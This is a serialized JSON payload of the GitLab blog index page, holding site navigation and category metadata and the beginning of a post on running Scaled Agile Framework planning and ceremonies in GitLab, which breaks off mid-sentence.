[{"data":1,"prerenderedAt":1209},["ShallowReactive",2],{"/en-us/blog/":3,"navigation-en-us":21,"banner-en-us":440,"footer-en-us":456,"blogCategories-en-us":666,"relatedBlogPosts-en-us":779,"maineFeaturedPost-en-us":1172,"recentFeaturedPosts-en-us":1177,"recentPosts-en-us":1193},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8,"content":11,"config":13,"_id":15,"_type":16,"title":7,"_source":17,"_file":18,"_stem":19,"_extension":20},"/en-us/blog","en-us",false,"",{"title":9,"description":10},"Blog | GitLab","Tutorials, product information, expert insights, and more from GitLab to help DevSecOps teams build, test, and deploy secure software faster.",{"title":12},"GitLab Blog",{"template":14},"BlogHome","content:en-us:blog:index.yml","yaml","content","en-us/blog/index.yml","en-us/blog/index","yml",{"_path":22,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"data":23,"_id":436,"_type":16,"title":437,"_source":17,"_file":438,"_stem":439,"_extension":20},"/shared/en-us/main-navigation",{"logo":24,"freeTrial":29,"sales":34,"login":39,"items":44,"search":377,"minimal":408,"duo":427},{"config":25},{"href":26,"dataGaName":27,"dataGaLocation":28},"/","gitlab logo","header",{"text":30,"config":31},"Get free trial",{"href":32,"dataGaName":33,"dataGaLocation":28},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":35,"config":36},"Talk to sales",{"href":37,"dataGaName":38,"dataGaLocation":28},"/sales/","sales",{"text":40,"config":41},"Sign in",{"href":42,"dataGaName":43,"dataGaLocation":28},"https://gitlab.com/users/sign_in/","sign in",[45,89,187,192,298,358],{"text":46,"config":47,"cards":49,"footer":72},"Platform",{"dataNavLevelOne":48},"platform",[50,56,64],{"title":46,"description":51,"link":52},"The most comprehensive AI-powered DevSecOps Platform",{"text":53,"config":54},"Explore our Platform",{"href":55,"dataGaName":48,"dataGaLocation":28},"/platform/",{"title":57,"description":58,"link":59},"GitLab Duo (AI)","Build software faster with AI at every stage of development",{"text":60,"config":61},"Meet GitLab Duo",{"href":62,"dataGaName":63,"dataGaLocation":28},"/gitlab-duo/","gitlab duo ai",{"title":65,"description":66,"link":67},"Why GitLab","10 reasons why Enterprises choose GitLab",{"text":68,"config":69},"Learn more",{"href":70,"dataGaName":71,"dataGaLocation":28},"/why-gitlab/","why gitlab",{"title":73,"items":74},"Get started with",[75,80,85],{"text":76,"config":77},"Platform Engineering",{"href":78,"dataGaName":79,"dataGaLocation":28},"/solutions/platform-engineering/","platform engineering",{"text":81,"config":82},"Developer Experience",{"href":83,"dataGaName":84,"dataGaLocation":28},"/developer-experience/","Developer experience",{"text":86,"config":87},"MLOps",{"href":88,"dataGaName":86,"dataGaLocation":28},"/topics/devops/the-role-of-ai-in-devops/",{"text":90,"left":91,"config":92,"link":94,"lists":98,"footer":169},"Product",true,{"dataNavLevelOne":93},"solutions",{"text":95,"config":96},"View all Solutions",{"href":97,"dataGaName":93,"dataGaLocation":28},"/solutions/",[99,124,148],{"title":100,"description":101,"link":102,"items":107},"Automation","CI/CD and automation to accelerate deployment",{"config":103},{"icon":104,"href":105,"dataGaName":106,"dataGaLocation":28},"AutomatedCodeAlt","/solutions/delivery-automation/","automated software delivery",[108,112,116,120],{"text":109,"config":110},"CI/CD",{"href":111,"dataGaLocation":28,"dataGaName":109},"/solutions/continuous-integration/",{"text":113,"config":114},"AI-Assisted Development",{"href":62,"dataGaLocation":28,"dataGaName":115},"AI assisted development",{"text":117,"config":118},"Source Code Management",{"href":119,"dataGaLocation":28,"dataGaName":117},"/solutions/source-code-management/",{"text":121,"config":122},"Automated Software Delivery",{"href":105,"dataGaLocation":28,"dataGaName":123},"Automated software delivery",{"title":125,"description":126,"link":127,"items":132},"Security","Deliver code faster without compromising security",{"config":128},{"href":129,"dataGaName":130,"dataGaLocation":28,"icon":131},"/solutions/security-compliance/","security and compliance","ShieldCheckLight",[133,138,143],{"text":134,"config":135},"Application Security Testing",{"href":136,"dataGaName":137,"dataGaLocation":28},"/solutions/application-security-testing/","Application security testing",{"text":139,"config":140},"Software Supply Chain Security",{"href":141,"dataGaLocation":28,"dataGaName":142},"/solutions/supply-chain/","Software supply chain security",{"text":144,"config":145},"Software Compliance",{"href":146,"dataGaName":147,"dataGaLocation":28},"/solutions/software-compliance/","software compliance",{"title":149,"link":150,"items":155},"Measurement",{"config":151},{"icon":152,"href":153,"dataGaName":154,"dataGaLocation":28},"DigitalTransformation","/solutions/visibility-measurement/","visibility and measurement",[156,160,164],{"text":157,"config":158},"Visibility & Measurement",{"href":153,"dataGaLocation":28,"dataGaName":159},"Visibility and Measurement",{"text":161,"config":162},"Value Stream Management",{"href":163,"dataGaLocation":28,"dataGaName":161},"/solutions/value-stream-management/",{"text":165,"config":166},"Analytics & Insights",{"href":167,"dataGaLocation":28,"dataGaName":168},"/solutions/analytics-and-insights/","Analytics and insights",{"title":170,"items":171},"GitLab for",[172,177,182],{"text":173,"config":174},"Enterprise",{"href":175,"dataGaLocation":28,"dataGaName":176},"/enterprise/","enterprise",{"text":178,"config":179},"Small Business",{"href":180,"dataGaLocation":28,"dataGaName":181},"/small-business/","small business",{"text":183,"config":184},"Public Sector",{"href":185,"dataGaLocation":28,"dataGaName":186},"/solutions/public-sector/","public sector",{"text":188,"config":189},"Pricing",{"href":190,"dataGaName":191,"dataGaLocation":28,"dataNavLevelOne":191},"/pricing/","pricing",{"text":193,"config":194,"link":196,"lists":200,"feature":285},"Resources",{"dataNavLevelOne":195},"resources",{"text":197,"config":198},"View all resources",{"href":199,"dataGaName":195,"dataGaLocation":28},"/resources/",[201,234,257],{"title":202,"items":203},"Getting started",[204,209,214,219,224,229],{"text":205,"config":206},"Install",{"href":207,"dataGaName":208,"dataGaLocation":28},"/install/","install",{"text":210,"config":211},"Quick start guides",{"href":212,"dataGaName":213,"dataGaLocation":28},"/get-started/","quick setup checklists",{"text":215,"config":216},"Learn",{"href":217,"dataGaLocation":28,"dataGaName":218},"https://university.gitlab.com/","learn",{"text":220,"config":221},"Product documentation",{"href":222,"dataGaName":223,"dataGaLocation":28},"https://docs.gitlab.com/","product documentation",{"text":225,"config":226},"Best practice videos",{"href":227,"dataGaName":228,"dataGaLocation":28},"/getting-started-videos/","best practice videos",{"text":230,"config":231},"Integrations",{"href":232,"dataGaName":233,"dataGaLocation":28},"/integrations/","integrations",{"title":235,"items":236},"Discover",[237,242,247,252],{"text":238,"config":239},"Customer success stories",{"href":240,"dataGaName":241,"dataGaLocation":28},"/customers/","customer success stories",{"text":243,"config":244},"Blog",{"href":245,"dataGaName":246,"dataGaLocation":28},"/blog/","blog",{"text":248,"config":249},"Remote",{"href":250,"dataGaName":251,"dataGaLocation":28},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"text":253,"config":254},"TeamOps",{"href":255,"dataGaName":256,"dataGaLocation":28},"/teamops/","teamops",{"title":258,"items":259},"Connect",[260,265,270,275,280],{"text":261,"config":262},"GitLab Services",{"href":263,"dataGaName":264,"dataGaLocation":28},"/services/","services",{"text":266,"config":267},"Community",{"href":268,"dataGaName":269,"dataGaLocation":28},"/community/","community",{"text":271,"config":272},"Forum",{"href":273,"dataGaName":274,"dataGaLocation":28},"https://forum.gitlab.com/","forum",{"text":276,"config":277},"Events",{"href":278,"dataGaName":279,"dataGaLocation":28},"/events/","events",{"text":281,"config":282},"Partners",{"href":283,"dataGaName":284,"dataGaLocation":28},"/partners/","partners",{"backgroundColor":286,"textColor":287,"text":288,"image":289,"link":293},"#2f2a6b","#fff","Insights for the future of software development",{"altText":290,"config":291},"the source promo card",{"src":292},"/images/navigation/the-source-promo-card.svg",{"text":294,"config":295},"Read the latest",{"href":296,"dataGaName":297,"dataGaLocation":28},"/the-source/","the source",{"text":299,"config":300,"lists":302},"Company",{"dataNavLevelOne":301},"company",[303],{"items":304},[305,310,316,318,323,328,333,338,343,348,353],{"text":306,"config":307},"About",{"href":308,"dataGaName":309,"dataGaLocation":28},"/company/","about",{"text":311,"config":312,"footerGa":315},"Jobs",{"href":313,"dataGaName":314,"dataGaLocation":28},"/jobs/","jobs",{"dataGaName":314},{"text":276,"config":317},{"href":278,"dataGaName":279,"dataGaLocation":28},{"text":319,"config":320},"Leadership",{"href":321,"dataGaName":322,"dataGaLocation":28},"/company/team/e-group/","leadership",{"text":324,"config":325},"Team",{"href":326,"dataGaName":327,"dataGaLocation":28},"/company/team/","team",{"text":329,"config":330},"Handbook",{"href":331,"dataGaName":332,"dataGaLocation":28},"https://handbook.gitlab.com/","handbook",{"text":334,"config":335},"Investor relations",{"href":336,"dataGaName":337,"dataGaLocation":28},"https://ir.gitlab.com/","investor relations",{"text":339,"config":340},"Trust Center",{"href":341,"dataGaName":342,"dataGaLocation":28},"/security/","trust center",{"text":344,"config":345},"AI Transparency Center",{"href":346,"dataGaName":347,"dataGaLocation":28},"/ai-transparency-center/","ai transparency center",{"text":349,"config":350},"Newsletter",{"href":351,"dataGaName":352,"dataGaLocation":28},"/company/contact/","newsletter",{"text":354,"config":355},"Press",{"href":356,"dataGaName":357,"dataGaLocation":28},"/press/","press",{"text":359,"config":360,"lists":361},"Contact us",{"dataNavLevelOne":301},[362],{"items":363},[364,367,372],{"text":35,"config":365},{"href":37,"dataGaName":366,"dataGaLocation":28},"talk to sales",{"text":368,"config":369},"Get help",{"href":370,"dataGaName":371,"dataGaLocation":28},"/support/","get help",{"text":373,"config":374},"Customer portal",{"href":375,"dataGaName":376,"dataGaLocation":28},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":378,"login":379,"suggestions":386},"Close",{"text":380,"link":381},"To search repositories and projects, login to",{"text":382,"config":383},"gitlab.com",{"href":42,"dataGaName":384,"dataGaLocation":385},"search login","search",{"text":387,"default":388},"Suggestions",[389,391,395,397,401,405],{"text":57,"config":390},{"href":62,"dataGaName":57,"dataGaLocation":385},{"text":392,"config":393},"Code Suggestions (AI)",{"href":394,"dataGaName":392,"dataGaLocation":385},"/solutions/code-suggestions/",{"text":109,"config":396},{"href":111,"dataGaName":109,"dataGaLocation":385},{"text":398,"config":399},"GitLab on AWS",{"href":400,"dataGaName":398,"dataGaLocation":385},"/partners/technology-partners/aws/",{"text":402,"config":403},"GitLab on Google Cloud",{"href":404,"dataGaName":402,"dataGaLocation":385},"/partners/technology-partners/google-cloud-platform/",{"text":406,"config":407},"Why GitLab?",{"href":70,"dataGaName":406,"dataGaLocation":385},{"freeTrial":409,"mobileIcon":414,"desktopIcon":419,"secondaryButton":422},{"text":410,"config":411},"Start free trial",{"href":412,"dataGaName":33,"dataGaLocation":413},"https://gitlab.com/-/trials/new/","nav",{"altText":415,"config":416},"Gitlab Icon",{"src":417,"dataGaName":418,"dataGaLocation":413},"/images/brand/gitlab-logo-tanuki.svg","gitlab icon",{"altText":415,"config":420},{"src":421,"dataGaName":418,"dataGaLocation":413},"/images/brand/gitlab-logo-type.svg",{"text":423,"config":424},"Get Started",{"href":425,"dataGaName":426,"dataGaLocation":413},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/compare/gitlab-vs-github/","get started",{"freeTrial":428,"mobileIcon":432,"desktopIcon":434},{"text":429,"config":430},"Learn more about GitLab Duo",{"href":62,"dataGaName":431,"dataGaLocation":413},"gitlab duo",{"altText":415,"config":433},{"src":417,"dataGaName":418,"dataGaLocation":413},{"altText":415,"config":435},{"src":421,"dataGaName":418,"dataGaLocation":413},"content:shared:en-us:main-navigation.yml","Main Navigation","shared/en-us/main-navigation.yml","shared/en-us/main-navigation",{"_path":441,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":442,"button":443,"image":447,"config":451,"_id":453,"_type":16,"_source":17,"_file":454,"_stem":455,"_extension":20},"/shared/en-us/banner","is now in public beta!",{"text":68,"config":444},{"href":445,"dataGaName":446,"dataGaLocation":28},"/gitlab-duo/agent-platform/","duo banner",{"altText":448,"config":449},"GitLab Duo Agent Platform",{"src":450},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1753720689/somrf9zaunk0xlt7ne4x.svg",{"layout":452},"release","content:shared:en-us:banner.yml","shared/en-us/banner.yml","shared/en-us/banner",{"_path":457,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"data":458,"_id":662,"_type":16,"title":663,"_source":17,"_file":664,"_stem":665,"_extension":20},"/shared/en-us/main-footer",{"text":459,"source":460,"edit":466,"contribute":471,"config":476,"items":481,"minimal":654},"Git is a trademark of Software Freedom Conservancy and our use of 'GitLab' is under license",{"text":461,"config":462},"View page source",{"href":463,"dataGaName":464,"dataGaLocation":465},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":467,"config":468},"Edit this page",{"href":469,"dataGaName":470,"dataGaLocation":465},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":472,"config":473},"Please contribute",{"href":474,"dataGaName":475,"dataGaLocation":465},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":477,"facebook":478,"youtube":479,"linkedin":480},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[482,505,561,590,624],{"title":46,"links":483,"subMenu":488},[484],{"text":485,"config":486},"DevSecOps platform",{"href":55,"dataGaName":487,"dataGaLocation":465},"devsecops platform",[489],{"title":188,"links":490},[491,495,500],{"text":492,"config":493},"View plans",{"href":190,"dataGaName":494,"dataGaLocation":465},"view plans",{"text":496,"config":497},"Why Premium?",{"href":498,"dataGaName":499,"dataGaLocation":465},"/pricing/premium/","why premium",{"text":501,"config":502},"Why Ultimate?",{"href":503,"dataGaName":504,"dataGaLocation":465},"/pricing/ultimate/","why ultimate",{"title":506,"links":507},"Solutions",[508,513,515,517,522,527,531,534,538,543,545,548,551,556],{"text":509,"config":510},"Digital transformation",{"href":511,"dataGaName":512,"dataGaLocation":465},"/topics/digital-transformation/","digital transformation",{"text":134,"config":514},{"href":136,"dataGaName":134,"dataGaLocation":465},{"text":123,"config":516},{"href":105,"dataGaName":106,"dataGaLocation":465},{"text":518,"config":519},"Agile development",{"href":520,"dataGaName":521,"dataGaLocation":465},"/solutions/agile-delivery/","agile delivery",{"text":523,"config":524},"Cloud transformation",{"href":525,"dataGaName":526,"dataGaLocation":465},"/topics/cloud-native/","cloud transformation",{"text":528,"config":529},"SCM",{"href":119,"dataGaName":530,"dataGaLocation":465},"source code management",{"text":109,"config":532},{"href":111,"dataGaName":533,"dataGaLocation":465},"continuous integration & delivery",{"text":535,"config":536},"Value stream management",{"href":163,"dataGaName":537,"dataGaLocation":465},"value stream management",{"text":539,"config":540},"GitOps",{"href":541,"dataGaName":542,"dataGaLocation":465},"/solutions/gitops/","gitops",{"text":173,"config":544},{"href":175,"dataGaName":176,"dataGaLocation":465},{"text":546,"config":547},"Small business",{"href":180,"dataGaName":181,"dataGaLocation":465},{"text":549,"config":550},"Public sector",{"href":185,"dataGaName":186,"dataGaLocation":465},{"text":552,"config":553},"Education",{"href":554,"dataGaName":555,"dataGaLocation":465},"/solutions/education/","education",{"text":557,"config":558},"Financial services",{"href":559,"dataGaName":560,"dataGaLocation":465},"/solutions/finance/","financial services",{"title":193,"links":562},[563,565,567,569,572,574,576,578,580,582,584,586,588],{"text":205,"config":564},{"href":207,"dataGaName":208,"dataGaLocation":465},{"text":210,"config":566},{"href":212,"dataGaName":213,"dataGaLocation":465},{"text":215,"config":568},{"href":217,"dataGaName":218,"dataGaLocation":465},{"text":220,"config":570},{"href":222,"dataGaName":571,"dataGaLocation":465},"docs",{"text":243,"config":573},{"href":245,"dataGaName":246,"dataGaLocation":465},{"text":238,"config":575},{"href":240,"dataGaName":241,"dataGaLocation":465},{"text":248,"config":577},{"href":250,"dataGaName":251,"dataGaLocation":465},{"text":261,"config":579},{"href":263,"dataGaName":264,"dataGaLocation":465},{"text":253,"config":581},{"href":255,"dataGaName":256,"dataGaLocation":465},{"text":266,"config":583},{"href":268,"dataGaName":269,"dataGaLocation":465},{"text":271,"config":585},{"href":273,"dataGaName":274,"dataGaLocation":465},{"text":276,"config":587},{"href":278,"dataGaName":279,"dataGaLocation":465},{"text":281,"config":589},{"href":283,"dataGaName":284,"dataGaLocation":465},{"title":299,"links":591},[592,594,596,598,600,602,604,608,613,615,617,619],{"text":306,"config":593},{"href":308,"dataGaName":301,"dataGaLocation":465},{"text":311,"config":595},{"href":313,"dataGaName":314,"dataGaLocation":465},{"text":319,"config":597},{"href":321,"dataGaName":322,"dataGaLocation":465},{"text":324,"config":599},{"href":326,"dataGaName":327,"dataGaLocation":465},{"text":329,"config":601},{"href":331,"dataGaName":332,"dataGaLocation":465},{"text":334,"config":603},{"href":336,"dataGaName":337,"dataGaLocation":465},{"text":605,"config":606},"Sustainability",{"href":607,"dataGaName":605,"dataGaLocation":465},"/sustainability/",{"text":609,"config":610},"Diversity, inclusion and belonging (DIB)",{"href":611,"dataGaName":612,"dataGaLocation":465},"/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":339,"config":614},{"href":341,"dataGaName":342,"dataGaLocation":465},{"text":349,"config":616},{"href":351,"dataGaName":352,"dataGaLocation":465},{"text":354,"config":618},{"href":356,"dataGaName":357,"dataGaLocation":465},{"text":620,"config":621},"Modern Slavery Transparency Statement",{"href":622,"dataGaName":623,"dataGaLocation":465},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":625,"links":626},"Contact Us",[627,630,632,634,639,644,649],{"text":628,"config":629},"Contact an expert",{"href":37,"dataGaName":38,"dataGaLocation":465},{"text":368,"config":631},{"href":370,"dataGaName":371,"dataGaLocation":465},{"text":373,"config":633},{"href":375,"dataGaName":376,"dataGaLocation":465},{"text":635,"config":636},"Status",{"href":637,"dataGaName":638,"dataGaLocation":465},"https://status.gitlab.com/","status",{"text":640,"config":641},"Terms of use",{"href":642,"dataGaName":643,"dataGaLocation":465},"/terms/","terms of use",{"text":645,"config":646},"Privacy statement",{"href":647,"dataGaName":648,"dataGaLocation":465},"/privacy/","privacy statement",{"text":650,"config":651},"Cookie preferences",{"dataGaName":652,"dataGaLocation":465,"id":653,"isOneTrustButton":91},"cookie preferences","ot-sdk-btn",{"items":655},[656,658,660],{"text":640,"config":657},{"href":642,"dataGaName":643,"dataGaLocation":465},{"text":645,"config":659},{"href":647,"dataGaName":648,"dataGaLocation":465},{"text":650,"config":661},{"dataGaName":652,"dataGaLocation":465,"id":653,"isOneTrustButton":91},"content:shared:en-us:main-footer.yml","Main Footer","shared/en-us/main-footer.yml","shared/en-us/main-footer",[667,680,692,703,714,726,737,748,759,769],{"_path":668,"_dir":669,"_draft":6,"_partial":6,"_locale":7,"seo":670,"content":673,"config":674,"_id":677,"_type":16,"title":671,"_source":17,"_file":678,"_stem":679,"_extension":20},"/en-us/blog/categories/agile-planning","categories",{"title":671,"description":672},"Agile Planning","Browse articles related to Agile Planning on the GitLab Blog",{"name":671},{"template":675,"slug":676,"hide":6},"BlogCategory","agile-planning","content:en-us:blog:categories:agile-planning.yml","en-us/blog/categories/agile-planning.yml","en-us/blog/categories/agile-planning",{"_path":681,"_dir":669,"_draft":6,"_partial":6,"_locale":7,"seo":682,"content":685,"config":686,"_id":688,"_type":16,"title":689,"_source":17,"_file":690,"_stem":691,"_extension":20},"/en-us/blog/categories/ai-ml",{"title":683,"description":684},"AI/ML","Browse articles related to AI/ML on the GitLab Blog",{"name":683},{"template":675,"slug":687,"hide":6},"ai-ml","content:en-us:blog:categories:ai-ml.yml","Ai Ml","en-us/blog/categories/ai-ml.yml","en-us/blog/categories/ai-ml",{"_path":693,"_dir":669,"_draft":6,"_partial":6,"_locale":7,"seo":694,"content":697,"config":698,"_id":700,"_type":16,"title":695,"_source":17,"_file":701,"_stem":702,"_extension":20},"/en-us/blog/categories/bulletin-board",{"title":695,"description":696},"Bulletin Board","Browse articles related to Bulletin Board on the GitLab Blog",{"name":695},{"template":675,"slug":699,"hide":6},"bulletin-board","content:en-us:blog:categories:bulletin-board.yml","en-us/blog/categories/bulletin-board.yml","en-us/blog/categories/bulletin-board",{"_path":704,"_dir":669,"_draft":6,"_partial":6,"_locale":7,"seo":705,"content":708,"config":709,"_id":711,"_type":16,"title":706,"_source":17,"_file":712,"_stem":713,"_extension":20},"/en-us/blog/categories/customer-stories",{"title":706,"description":707},"Customer Stories","Browse articles related to Customer Stories on the GitLab Blog",{"name":706},{"template":675,"slug":710,"hide":6},"customer-stories","content:en-us:blog:categories:customer-stories.yml","en-us/blog/categories/customer-stories.yml","en-us/blog/categories/customer-stories",{"_path":715,"_dir":669,"_draft":6,"_partial":6,"_locale":7,"seo":716,"content":719,"config":720,"_id":722,"_type":16,"title":723,"_source":17,"_file":724,"_stem":725,"_extension":20},"/en-us/blog/categories/devsecops",{"title":717,"description":718},"DevSecOps","Browse articles related to DevSecOps on the GitLab Blog",{"name":717},{"template":675,"slug":721,"hide":6},"devsecops","content:en-us:blog:categories:devsecops.yml","Devsecops","en-us/blog/categories/devsecops.yml","en-us/blog/categories/devsecops",{"_path":727,"_dir":669,"_draft":6,"_partial":6,"_locale":7,"seo":728,"content":731,"config":732,"_id":734,"_type":16,"title":729,"_source":17,"_file":735,"_stem":736,"_extension":20},"/en-us/blog/categories/engineering",{"title":729,"description":730},"Engineering","Browse articles related to Engineering on the GitLab Blog",{"name":729},{"template":675,"slug":733,"hide":6},"engineering","content:en-us:blog:categories:engineering.yml","en-us/blog/categories/engineering.yml","en-us/blog/categories/engineering",{"_path":738,"_dir":669,"_draft":6,"_partial":6,"_locale":7,"seo":739,"content":742,"config":743,"_id":745,"_type":16,"title":740,"_source":17,"_file":746,"_stem":747,"_extension":20},"/en-us/blog/categories/news",{"title":740,"description":741},"News","Browse articles related to News on the GitLab Blog",{"name":740},{"template":675,"slug":744,"hide":6},"news","content:en-us:blog:categories:news.yml","en-us/blog/categories/news.yml","en-us/blog/categories/news",{"_path":749,"_dir":669,"_draft":6,"_partial":6,"_locale":7,"seo":750,"content":753,"config":754,"_id":756,"_type":16,"title":751,"_source":17,"_file":757,"_stem":758,"_extension":20},"/en-us/blog/categories/open-source",{"title":751,"description":752},"Open Source","Browse articles related to Open Source on the GitLab Blog",{"name":751},{"template":675,"slug":755,"hide":6},"open-source","content:en-us:blog:categories:open-source.yml","en-us/blog/categories/open-source.yml","en-us/blog/categories/open-source",{"_path":760,"_dir":669,"_draft":6,"_partial":6,"_locale":7,"seo":761,"content":763,"config":764,"_id":766,"_type":16,"title":90,"_source":17,"_file":767,"_stem":768,"_extension":20},"/en-us/blog/categories/product",{"title":90,"description":762},"Browse articles related to Product on the GitLab Blog",{"name":90},{"template":675,"slug":765,"hide":6},"product","content:en-us:blog:categories:product.yml","en-us/blog/categories/product.yml","en-us/blog/categories/product",{"_path":770,"_dir":669,"_draft":6,"_partial":6,"_locale":7,"seo":771,"content":773,"config":774,"_id":776,"_type":16,"title":125,"_source":17,"_file":777,"_stem":778,"_extension":20},"/en-us/blog/categories/security",{"title":125,"description":772},"Browse articles related to Security on the GitLab Blog",{"name":125},{"template":675,"slug":775,"hide":6},"security","content:en-us:blog:categories:security.yml","en-us/blog/categories/security.yml","en-us/blog/categories/security",[780,821,862,898,938,980,1020,1060,1099,1135],{"category":671,"slug":676,"posts":781},[782,798,810],{"content":783,"config":795},{"title":784,"description":785,"authors":786,"heroImage":788,"date":789,"body":790,"category":676,"tags":791},"SAFe without silos in GitLab","Learn how to map the Scaled Agile Framework to the native capabilities of the DevSecOps platform and the advantages that come from doing so.",[787],"Amanda Rueda","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097569/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2811%29_2hcwWx49wQ7CHfvhhkVH6S_1750097569126.png","2025-04-08","Let's talk about what happens when your organization adopts the Scaled Agile Framework (SAFe) to scale to enterprise levels. You've got multiple teams working on complex products, and you need a way to coordinate all that work. But here's a common headache: Your planning happens in one tool, while your actual development work lives somewhere else entirely.\n\nThis divide creates real problems day-to-day. Developers jump between systems constantly. Product managers struggle to get an accurate picture of progress. And everyone wastes time manually copying information from one place to another. It's precisely the kind of disjointed experience that SAFe was designed to eliminate.\n\nWhile your development teams might already be using GitLab for source code management, CI/CD, and security, you may wonder whether GitLab can also support your planning needs within the SAFe framework. The good news is that GitLab's Agile project management capabilities offer strong support for SAFe, in this article, you'll learn how GitLab maps to SAFe concepts and ceremonies, all within the same DevSecOps platform your software developers already know and love.\n\n## What is SAFe?\n\nSAFe, or the Scaled Agile Framework, is a way to bring Agile principles to large organizations without losing speed, alignment, or customer focus. It takes the iterative and flexible teamwork model of small teams and applies its principles across big organizations that have multiple teams, roadmaps, and stakeholders. This brings the organization into alignment, all planning and executing in the same direction. For product managers, SAFe helps connect strategy to execution so you’re not just shipping fast, you’re shipping the right things, backed by clear priorities and cross-team alignment.\n\nSAFe reduces silos, encourages collaboration, and helps teams rally around customer outcomes, not just tasks. When integrated in GitLab, the magic really happens: visibility, traceability, and delivery all live in one place.\n\n## SAFe terminology in GitLab\n\nFirst, let's establish how SAFe concepts map to GitLab:\n\n| SAFe | GitLab |\n| :---- | :---- |\n| Epic | Top-level Epic |\n| Capability | Sub-epic (Level 1) |\n| Feature | Sub-epic (Level 2) |\n| User Story | Issue |\n| Task | Task |\n| Team | Custom Field / Scoped Label |\n| Sprint | Iteration |\n| Program Increment (PI) | Milestone |\n| Value Stream | Top-level Group |\n| Agile Release Train (ART) | Top-level Group |\n\n\u003Cbr>\u003C/br>\n\nWith this mapping as your guide, you can set up GitLab to mirror your SAFe implementation. The group structure lets you organize around your value streams and ARTs, while the work item hierarchy (with up to seven levels of nested epics!) gives you all the depth you need for complex product portfolios. Whether you're working at the portfolio level (with top-level groups), program level (with subgroups), or team level (with projects), GitLab's organizational structure aligns perfectly with SAFe's hierarchy.\n\n## Supporting SAFe ceremonies in GitLab\n\nNow for the fun part - how do you actually run your SAFe ceremonies in GitLab? Let's walk through each one.\n\n### PI planning\n\nTo facilitate the cross-team alignment and dependency management that makes PI planning successful, GitLab offers several capabilities:\n\n* Use the [Roadmap](https://docs.gitlab.com/user/group/roadmap/) view to visualize features across teams and time periods\n* Assign features to the PI [milestone](https://docs.gitlab.com/user/project/milestones/)\n* Document and visualize cross-team [dependencies](https://docs.gitlab.com/user/project/issues/related_issues/#blocking-issues) as they're identified\n\nGitLab gives you flexibility for PI planning through both the Epic boards (which can be configured to show team assignments) and the Roadmap view (which shows features over time like a Gantt chart). You can switch between these views during your planning session depending on whether you're focusing on the timeline or team organization.\n\n![Roadmap view and epic board](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097576746.gif)\n\n\u003Cbr>\u003C/br>\n\n![Roadmap view with Gantt chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097576747.png)\n\n### Refinement\n\nAs a product manager, running effective refinement sessions means having clear visibility into your feature backlog. You can run your refinement session right inside GitLab. No more updating one tool during the meeting and then having to update another tool afterward.\n\nGitLab powers refinement sessions with:\n\n* [Epic boards](https://docs.gitlab.com/user/group/epics/epic_boards/) that group features based on status\n* The ability to view story points directly in the [overview](https://docs.gitlab.com/user/group/epics/epic_boards/#view-count-of-issues-weight-and-progress-of-an-epic)\n* Comprehensive [drawer views](https://docs.gitlab.com/user/group/epics/manage_epics/#open-epics-in-a-drawer) that let you interact with work items without losing context\n* The ability to create and link [child issues](https://docs.gitlab.com/user/group/epics/manage_epics/#add-an-issue-to-an-epic) directly from epics\n\n![SAFe - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097576749.gif)\n\n### Sprint planning\n\nWhen it's time to figure out what your team can tackle in the next sprint, GitLab gives you:\n\n* [Issue boards](https://docs.gitlab.com/user/project/issue_board/) that provide a comprehensive view of your backlog\n* [Total weight](https://docs.gitlab.com/user/project/issue_board/#sum-of-issue-weights) of user stories displayed directly on boards\n* The ability to easily move issues between iterations\n* A collapsible view that simplifies moving stories between sprints\n\nThis means you can keep everything in one place and spend your planning meetings actually planning instead of jumping between tools.\n\n![Sprint planning with GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097576751.gif)\n\n*💡 Check out [this tutorial on using GitLab to facilitate Scrum](https://docs.gitlab.com/tutorials/scrum_events/) for a detailed glimpse into the power of GitLab in Agile planning and sprint tracking.*\n\n### Daily stand-ups\n\nYour team can gather around the board during daily stand-ups and actually see what everyone's working on, what's stuck, and what's ready for review – all in one view. For your dev team's daily stand-ups, GitLab lets you:\n\n* Create [iteration-scoped](https://docs.gitlab.com/user/project/issue_board/#iteration-lists) boards that show the current sprint's work\n* Display story points/weights directly on cards\n* Use the [drawer view](https://docs.gitlab.com/user/project/issues/managing_issues/#open-issues-in-a-drawer) to access details without leaving the context\n* Highlight tasks at risk through [health status](https://docs.gitlab.com/user/project/issues/managing_issues/#health-status)\n\n![Daily stand-up board](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097576755.png)\n\n### Sprint review\n\nWant to know how your team is doing over time? GitLab provides comprehensive metrics with:\n\n* [Burndown and burnup charts](https://docs.gitlab.com/user/group/iterations/#iteration-burndown-and-burnup-charts) for iterations\n* Velocity tracking\n* [Lead and cycle 